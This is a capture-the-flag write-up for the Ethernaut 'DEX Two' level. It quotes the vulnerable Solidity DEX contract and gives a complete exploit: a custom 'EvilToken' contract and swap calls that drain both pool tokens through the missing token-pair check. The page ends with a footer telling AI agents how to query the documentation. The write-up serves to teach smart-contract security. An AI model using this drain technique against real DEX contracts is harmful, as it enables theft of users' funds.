# DEX Two

## Description

This level will ask you to break `DexTwo`, a subtlely modified `Dex` contract from the previous level, in a different way.

You need to drain all balances of token1 and token2 from the `DexTwo` contract to succeed in this level.

You will still start with 10 tokens of `token1` and 10 of `token2`. The DEX contract still starts with 100 of each token.

Things that might help:

* How has the `swap` method been modified?

## Code Audit

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import 'openzeppelin-contracts-08/access/Ownable.sol';

contract DexTwo is Ownable {
  address public token1;
  address public token2;
  constructor() {}

  function setTokens(address _token1, address _token2) public onlyOwner {
    token1 = _token1;
    token2 = _token2;
  }

  function add_liquidity(address token_address, uint amount) public onlyOwner {
    IERC20(token_address).transferFrom(msg.sender, address(this), amount);
  }
  
  function swap(address from, address to, uint amount) public {
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapAmount(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
  } 

  function getSwapAmount(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

  function approve(address spender, uint amount) public {
    SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
    SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
  }

  function balanceOf(address token, address account) public view returns (uint){
    return IERC20(token).balanceOf(account);
  }
}

contract SwappableTokenTwo is ERC20 {
  address private _dex;
  constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
  }

  function approve(address owner, address spender, uint256 amount) public {
    require(owner != _dex, "InvalidApprover");
    super._approve(owner, spender, amount);
  }
}
```

Compared with DEX, DEX Two has a different implementation of the `swap()` function:

!\[\[DEX Two swap().png]]

The following `require` statement was implemented in DEX's `swap()` but it is missing in DEX Two's `swap()`:

```solidity
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
```

This is problematic: we can introduce external token contracts (other than `token1` and `token2`). The objective of this challenge is to drain **both** `token1` and `token2` (recall that in DEX we just had to drain one of them), and we can achieve that with a customized external token.

## Solution

Check out [this writeup](https://dev.to/nvn/ethernaut-hacks-level-23-dex-two-4424) for the math.

We deploy a customized token contract and name the token "EvilToken" (EVL):

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract EvilToken is ERC20 {
    constructor(uint256 initialSupply) ERC20("EvilToken", "EVL") {
        _mint(msg.sender, initialSupply);
    }
}
```

Deploy it with initial supply 400 (any large number suffices) in Remix. Send 100 EVL to the challenge contract by calling `transfer("<your_challenge_contract_address>", 100)`.

**Step 1:** Get token contract addresses:

```javascript
evlToken = "<your_EVL_token_contract_address>"
t1 = await contract.token1()
t2 = await contract.token2()
```

**Step 2:** In Remix, set allowance of the challenge contract to 300 by calling `approve("<your_challenge_contract_address>", 500)` (100 for `token1` and 200 for `token2`).

At this stage, we have 100 `token1`, 100 `token2`, and 100 `EVL` in the DEX. The price is 1:1:1.

**Step 3:** Swap 100 `token1` using 100 `EVL` to drain `token1`:

```javascript
await contract.swap(evlToken, t1, 100)
```

This works because `token1` and `EVL` are 100:100 = 1:1. Verify if `token1` is successfully drained:

```javascript
await contract.balanceOf(t1, instance).then(v => v.toString())
```

**Step 4:** Swap 100 `token2` using 200 `EVL` to drain `token2`:

```javascript
await contract.swap(evlToken, t2, 200)
```

This works because `token2` and `EVL` are 100:200 = 1:2. Verify if `token2` is successfully drained:

```javascript
await contract.balanceOf(t2, instance).then(v => v.toString())
```

## Summary

As we've repeatedly seen, interaction between contracts can be a source of unexpected behavior.

Just because a contract claims to implement the [ERC20 spec](https://eips.ethereum.org/EIPS/eip-20) does not mean it's trust worthy.

Some tokens deviate from the ERC20 spec by not returning a boolean value from their `transfer` methods. See [Missing return value bug - At least 130 tokens affected](https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca).

Other ERC20 tokens, especially those designed by adversaries could behave more maliciously.

If you design a DEX where anyone could list their own tokens without the permission of a central authority, then the correctness of the DEX could depend on the interaction of the DEX contract and the token contracts being traded.

## Further Reading

Last time we read samczsun's price oracle article. This time we are going to dig a little deeper. **cmichel** has an article explaining the "Warp Finance hack":

{% embed url="<https://cmichel.io/pricing-lp-tokens/>" %}
Pricing LP tokens - Warp Finance hack - cmichel
{% endembed %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ret2basic.gitbook.io/ctfwriteup/web3-ctf/ethernaut/dex-two.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
